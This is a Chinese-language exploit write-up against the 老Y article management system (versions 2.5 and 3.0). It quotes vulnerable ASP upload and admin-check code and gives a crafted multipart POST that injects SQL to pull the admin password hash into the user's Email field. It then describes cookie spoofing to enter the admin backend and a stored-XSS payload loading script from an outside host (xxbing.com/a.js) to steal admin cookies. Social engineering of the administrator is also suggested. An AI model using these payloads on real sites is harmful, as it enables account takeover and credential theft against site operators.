影响的版本:2.5 3.0 acces 更久的版本没看
User/Upload.asp文件
34-50行
60-67行代码:
01
if Uprequest.form(
"file_Err"
)<>0 then
02
select case Uprequest.form(
"file_Err"
)
03
case 1:str=
"<div style="
"padding-top:5px;padding-bottom:5px;"
"> <font color=blue>"
&Uprequest.MaxSize/1024&
"K [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
04
case 2:str=
"<div style="
"padding-top:5px;padding-bottom:5px;"
"> <font color=blue>文件格式不对 [<a href='javascript:history.go(-1)']>重新上传</a>]</font></div>"
05
case 3:str=
"<div style="
"padding-top:5px;padding-bottom:5px;"
"> <font color=blue>文件太大且格式不对 [<a href='javascript:history.go(-1)'>重新上传</a>]</font></div>"
06
end select
07
response.write str
08
else
09
'注意这里,上传头像成功后,把头像路径更新到了UserFace字段。
10
sql=
"Update "
&tbname&
"_User set UserFace = '"
&Uprequest.Form(
"file"
)&
"' where ID= "
&LaoYID
11
conn.execute(sql)
12
response.write
"<script language="
"javascript"
">parent.UserReg.UserFace.value='"
&Uprequest.Form(
"file"
)&
"';"
13
response.write
"</script>"
14
response.write
"<div style="
"margin-top:6px;"
"><font color=red>上传成功</font>,刷新该页面即可看到新的头像。<a href='javascript:history.go(-1)'>重新上传</a></div>"
15
16
conn.close
17
set conn=nothing
18
end if
上传头像抓包内容,我用的火狐浏览器插件livehttp,我这里就不把头部的东西放上来了。
1
'生成头像
2
'这里要注意,如果不是gif后缀,则对上传的头像进行长、宽处理,所以,为了上传动作顺利进行,大家还是传个gif格式的文件上去
3
If
right(RV_img,4)<>
".gif"
then
4
Dim
S_Width,S_Height,H_Temp,W_Temp
5
S_Width=100
6
S_Height=100
7
Set
Jpeg = Server.CreateObject(
"Persits.Jpeg"
)
'创建实例
8
Path = Server.MapPath(RV_img)
'处理图片路径
9
Jpeg.Open Path
'打开图片
发送以下的PostData。
返回后,可以看到自己EMAIL一项变成了管理员的MD5加密串。老Y文章管理系统作者在MD5.asp里面做了手脚,保存的MD5为前16位,无法破解密文。不过没有关系··
01
-----------------------------4827543632391\r\n
02
Content-Disposition: form-data; name=
"file"
;filename=
"c:\1.gif"
\r\n
03
\r\n
04
gif87a
05
123123123123123123123
06
\r\n
07
-----------------------------4827543632391\r\n
08
Content-Disposition: form-data; name=
"file"
\r\n
09
\r\n
10
//重点在这里,DLookup是什么东西,怎么用的,请自行百度、google查询。谢谢
11
abc
',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
12
\r\n
13
-----------------------------4827543632391\r\n
14
Content-Disposition: form-data; name=
"submit"
\r\n
15
\r\n
16
é?′?\r\n
17
-----------------------------4827543632391--\r\n
可以Cookie欺骗登陆后台···
admin/admin_check.asp
这个你懂的···读出管理员的 ID、Admin_Pass,name,IP就可以登陆后台了。
01
<%
02
Dim
LaoYAdminID,LaoYAdminName,LaoYAdminPass,IsAdmin,rs5
03
'太弱了····
04
LaoYAdminID =LaoYRequest(Request.Cookies(
"LaoYAdmin"
)(
"UserID"
))
05
LaoYAdminName =CheckStr(Request.Cookies(
"LaoYAdmin"
)(
"UserName"
))
06
LaoYAdminPass =CheckStr(Request.Cookies(
"LaoYAdmin"
)(
"UserPass"
))
07
08
If
LaoYAdminID<>
""
and LaoYAdminName<>
""
and LaoYAdminPass<>
""
then
09
set rs5 = server.CreateObject (
"adodb.recordset"
)
10
sql=
"Select Top 1 * from ["
&tbname&
"_Admin] where id="
& LaoYAdminID &
" and Admin_Pass='"
&LaoYAdminPass&
"' and Admin_Name='"
&LaoYAdminName&
"'"
11
on error resume next
12
rs5.open sql,conn,1,1
13
Dim
myadminid,myadminpass,myadminuser
14
myadminid =rs5(
"ID"
)
15
myadminpass =rs5(
"Admin_Pass"
)
16
myadminuser =rs5(
"Admin_Name"
)
17
myadminip =rs5(
"Admin_IP"
)
18
yaomight =rs5(
"AdminMight"
)
19
yaoadmintype =rs5(
"AdminType"
)
20
yaoadpower =rs5(
"ADPower"
)
21
yaoWritePower =rs5(
"WritePower"
)
22
yaoManagePower =rs5(
"ManagePower"
)
23
rs5.close
24
set rs5=nothing
25
'太弱了····
26
If
myadminid<>Int(LaoYAdminID) or myadminpass<>LaoYAdminPass or myadminuser<>LaoYAdminName or myadminip<>GetIP
Then
27
IsAdmin=0
28
Else
29
IsAdmin=1
30
End
if
31
End
if
32
33
If
IsAdmin<>1 then
34
Response.Redirect
""
&SitePath&
""
&SiteAdmin&
"/Admin_Login.asp"
35
End
if
36
%>
我相信实际情况中大部分老Y系统后台都修改了名字,对于这种猥琐至极的管理员,我们就要使用更加超级无敌猥琐的方法···
XSS。。。
POSTDATA中
abc',Email=DLookUp('admin_pass','Yao_admin', 'Id=1'),Sex='0
我们可以这样写
abc',UserIp='<script src=http://xxbing.com/a.js></script>',Sex='0
管理员打开后台,查看所有用户列表时,就会被X到了··
至于他什么时候会查看所有用户,我也不知道,相信你能够用社工的手法,让他主动去看你的注册资料。
a.js代码的功能就是捕捉管理员后台地址和cookie地址,如果你想,还可以在里面添加其他猥琐功能,比如自动备份数据,自动添加新的管理员。
那随你了。a.js代码在这里就不提供了。
over!